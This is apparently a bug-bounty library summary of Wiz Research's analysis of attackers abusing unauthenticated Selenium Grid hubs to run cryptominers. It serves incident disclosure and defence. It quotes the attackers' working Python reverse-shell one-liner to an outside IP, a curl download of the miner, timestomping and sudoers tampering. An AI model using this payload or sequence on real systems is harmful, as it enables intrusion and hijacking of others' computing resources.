# SeleniumGreed: Threat actors exploit exposed Selenium Grid services for Cryptomining

Exposed unauthenticated Selenium Grid hubs let attackers set Chrome binary path to python3 and run a reverse shell, deploying a modified XMRig cryptominer.

- Payout: Real-world hack
- Severity: critical
- Program: Selenium Grid
- Credited: Wiz Research
- Disclosed: 2024-07-25
- Write-up quality: 7/10
- Original: https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps
- Tags: domain:cloud impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:docker technique:recon technique:source-review vuln:misconfiguration vuln:rce

**Target:** Selenium Grid hub WebDriver API (port 4444)
**Root cause:** Selenium Grid ships with no authentication by default and its WebDriver API allows setting the Chrome binary path and arguments, so an exposed hub lets anyone execute arbitrary binaries/commands on nodes.
**Steps:**
1. Recon exposed Selenium Grid hubs on port 4444 (FOFA query, ~30k instances).
2. Send a session-create request to the hub with `goog:chromeOptions` binary set to `/usr/bin/python3` and args `-c` plus a base64-encoded Python payload.
3. Payload: `import os,pty,socket;s=socket.socket();s.connect(('164.90.149.104',9021));[os.dup2(s.fileno(),f)for f in(0,1,2)];os.putenv('HISTFILE','/dev/null');os.putenv('TTT','192.241.144.69:4447');pty.spawn('/bin/bash');s.close()`
4. Reverse shell connects back; attacker writes hidden 8-char script under /tmp or /dev/shm and runs it with sudo (seluser has passwordless sudo).
5. Script curls `http://164.90.149.104:9022/xm` and `/wxm` to /bin, chmod 700, timestomps with `touch -d 'Fri, 12 Jul 2019 15:26:41 -0400'`, and enforces a sudo password for seluser to lock out rivals.
6. Miner and scripts launched with nohup to persist after shell exit.
**How found:** Wiz researchers noticed Selenium's WebDriver API exposes ChromeOptions binary path and add_argument, realizing these could point execution at python3 with -c to run arbitrary code; FOFA recon confirmed ~30k exposed hubs on port 4444.
**Exploitation:** Attacker scans for exposed Selenium Grid hubs, abuses ChromeOptions binary path + add_argument to run python3 -c with a base64 reverse-shell payload, gains interactive shell as seluser, escalates via passwordless sudo, downloads a UPX-packed (custom CATS header) modified XMRig miner to /bin/xm, and mines via a compromised Selenium node used as mining pool proxy with TLS fingerprint pinning.
**Escalation:** seluser's default passwordless sudo grants root; attacker also modifies /etc/sudoers to enforce a password for seluser, denying competing attackers CPU for mining.
**Insight:** Test-automation and CI infrastructure (Selenium Grid, WebDriver endpoints) is effectively an unauthenticated RCE surface: any option that lets you specify a binary path or interpreter arguments (ChromeOptions binary/add_argument) is a command-execution primitive, and default container users often have passwordless sudo.